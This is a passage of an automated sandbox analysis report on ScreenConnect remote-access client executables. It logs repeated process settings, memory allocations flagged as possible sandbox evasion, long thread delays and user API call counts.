Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 21CD0040000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 21CE8220000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Memory allocated: 1530000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Memory allocated: 1B280000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 1070000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 2AA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 28E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 1910000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 1AA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Memory allocated: 3AA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Memory allocated: 730000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Memory allocated: 1A370000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599763 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599523 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599371 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599263 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599094 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597947 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597666 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597547 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597435 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597327 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597218 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596890 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596343 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596013 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595793 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595682 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595575 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595328 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595187 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594966 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594859 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594750 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594640 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594531 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594312 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594094 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593984 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593765 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593545 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593437 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593314 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593187 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593077 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592954 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592795 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592684 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592550 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592433 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592280 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592172 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 6692 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 2896 Jump to behavior
Found dropped PE file which has not been started or loaded
